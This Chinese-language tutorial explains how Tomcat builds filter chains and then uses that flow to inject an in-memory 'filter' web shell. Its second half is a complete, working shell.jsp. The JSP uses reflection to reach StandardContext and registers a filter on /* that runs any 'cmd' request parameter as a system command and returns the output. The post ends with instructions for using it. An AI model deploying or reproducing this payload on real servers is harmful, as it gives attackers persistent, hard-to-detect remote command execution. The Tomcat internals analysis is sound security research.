众所周知,servlet 有过滤机制,过滤机制有两种实现方法,可以通过注释实现,亦可以通过 web.xml 配置文件实现
注释实现
package com.sec.filter;
import javax.servlet.*;
import javax.servlet.annotation.WebFilter;
import java.io.IOException;
@WebFilter("/*")
public class FilterDemo implements Filter {
public void init(FilterConfig filterConfig) throws ServletException { }
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
Runtime.getRuntime().exec("calc");
filterChain.doFilter(servletRequest,servletResponse);
}
public void destroy() { }
}
配置文件实现
FilterDemo com.sec.filter.FilterDemo FilterDemo /*
当配置了上面的过滤器之后,每一次访问服务器都会调用过滤器的doFilter方法,也就是调用FilterDemo#doFilter方法
tomcat-filter内存马是通过向服务器注入匹配url为 /* 的过滤器,且过滤器中的doFilter方法中存在我们构造的恶意代码,这时我们访问任何url地址都会调用doFilter方法进行过滤处理,自然其中的恶意代码也会被执行!
环境搭建IDEA创建一个web项目,导入 servlet 包,导入所有tomcat中lib目录所有的包
流程分析之前先了解几个类
首先是 FilterDef 类,这个类有 filterClass 和 filterName 两个字段,其实就对应着配置文件里的
FilterDemo com.sec.filter.FilterDemo
再就是 FilterMap 类,这个类有 filterName 和 urlPatterns 两个字段,其实就对应着配置文件里的 标签
流程分析FilterDemo /*
在 ContextConfig#processClass 方法打断点,调试启动tomcat,此时程序停在 processClass 方法
这里获取到类的所有注释,然后遍历获取注释的类型,当注释类型为 Ljavax/servlet/annotation/WebFilter 时,也就是注释实现过滤器,会调用 ContextConfig#processAnnotationWebFilter 方法
跟进 processAnnotationWebFilter 方法,fragment 是跟 web.xml 配置文件相关联的一个变量,这里会通过 fragment.getFilters().get 尝试获取配置文件里配置的 filter,因为我们的 filter 是通过注释实现的,所以这里获取不到,filterDef 则为空,isWebXMLfilterDef 会被赋值为 false,且filterDef 的 FilterName 和 FilterClass 字段都赋值为 com.sec.filter.FilterDem
继续跟进,把 filterMap 的 FilterName 赋值为 com.sec.filter.FilterDem,URLPattern 赋值为从注释中获取到的值,即 /* ,最后把 filterMap和 filterDef 都加到 fragment 里面
最终会在 ContextConfig#configureContext 方法把 filterMap和 filterDef添加到 context 中
继续跟进 ApplicationFilterFactory#createFilterChain 方法,这里创建一个 ApplicationFilterChain 类,然后获取到前面提到的 context 变量,再通过 context 变量获取到前面设置的filterMaps
然后获取当前请求的路径等信息
接着循环遍历 filterMaps ,当 filterMaps 跟当前请求的 dispatcher 和 requestPath 相吻合则把 filterMaps 对应的 filterConfig 加入到 filterChain中
跟进 addFilter 方法,判断filterChain是否已经存在相同的 filterConfig 了和做扩容处理,最后把这个 filterConfig 赋值给 ApplicationFilterChain 对象的this.filters 数组中
至此,我们要明白有两点
- 在 ContextConfig#processClass 方法中把类中的过滤器注释转换为 FilterDef 和 FilterMap ,最终在 ContextConfig#configureContext 方法把 filterMap和 filterDef添加到 context 中
- 在 ApplicationFilterFactory#createFilterChain 方法中获取到当前访问的 servlet 地址,找到和 servlet 地址匹配的 filterConfig 加入到ApplicationFilterChain 对象的this.filters 数组中,等待调用!
那么接下来看一下在哪里调用,在 StandardWrapperValve#invoke 方法中,其调用了 ApplicationFilterFactory.createFilterChain 方法获取到存储着 相关 filterConfig 的 filterChain 变量
然后调用了 filterChain.doFilter 方法,也就是 ApplicationFilterChain#doFilter 方法
filterChain.doFilter 方法调用 internalDoFilter 方法,跟进到 internalDoFilter 方法,这个方法获取到 filters 数组里的 filterConfig,也就是我们前面提到的 this.filters 数组,接着获取 filterConfig 对应的filter,然后调用filter的doFilter方法
经过上面的调用,最终调用到我们自定义的 FilterDemo#doFilter 方法,小小调用栈如下
构造按照着 ApplicationFilterChain#createFilterChain 方法里的代码逻辑进行构造
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.catalina.core.ApplicationContextFacade" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.util.HashMap" %>
<%@ page import="java.io.IOException" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.ByteArrayOutputStream" %>
<%
ServletContext servletContext = request.getServletContext();
ApplicationContextFacade applicationContextFacade = (ApplicationContextFacade) servletContext;
Field applicationContextFacadeContext = applicationContextFacade.getClass().getDeclaredField("context");
applicationContextFacadeContext.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) applicationContextFacadeContext.get(applicationContextFacade);
Field applicationContextContext = applicationContext.getClass().getDeclaredField("context");
applicationContextContext.setAccessible(true);
StandardContext standardContext = (StandardContext) applicationContextContext.get(applicationContext);
Field filterConfigs = standardContext.getClass().getDeclaredField("filterConfigs");
filterConfigs.setAccessible(true);
HashMap hashMap = (HashMap) filterConfigs.get(standardContext);
String filterName = "ky1231";
if (hashMap.get(filterName)==null){
Filter filter = new Filter() {
@Override
public void init(FilterConfig filterConfig) throws ServletException {
//Filter.super.init(filterConfig);
//System.out.println("内存马init");
}
@Override
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
if (request.getParameter("cmd")!=null){
//String[] cmds = {"/bin/sh","-c",request.getParameter("cmd")}
String[] cmds = {"cmd","/c",request.getParameter("cmd")};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
byte[] bcache = new byte[1024];
int readSize = 0;
try(ByteArrayOutputStream outputStream = new ByteArrayOutputStream()){
while ((readSize =in.read(bcache))!=-1){
outputStream.write(bcache,0,readSize);
}
response.getWriter().println(outputStream.toString());
}
}
}
@Override
public void destroy() {
Filter.super.destroy();
}
};
FilterDef filterDef = new FilterDef();
filterDef.setFilter(filter);
filterDef.setFilterName(filterName);
filterDef.setFilterClass(filter.getClass().getName());
standardContext.addFilterDef(filterDef);
FilterMap filterMap = new FilterMap();
filterMap.addURLPattern("/*");
filterMap.setFilterName(filterName);
filterMap.setDispatcher(DispatcherType.REQUEST.name());
standardContext.addFilterMapBefore(filterMap);
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig applicationFilterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef);
hashMap.put(filterName,applicationFilterConfig);
response.getWriter().println("inject successfully");
}
%>
先访问 shell.jsp,这时成功注入内存马,访问任务url地址,带上cmd参数即可执行命令
总结tomcat-filter内存马需要在tomcat7+以上才能注入成功,原因是 javax.servlet.DispatcherType 类(shell.jsp中用到)是Servlet3以后才引入的,而且在 tomcat7+才支持 Servlet3!



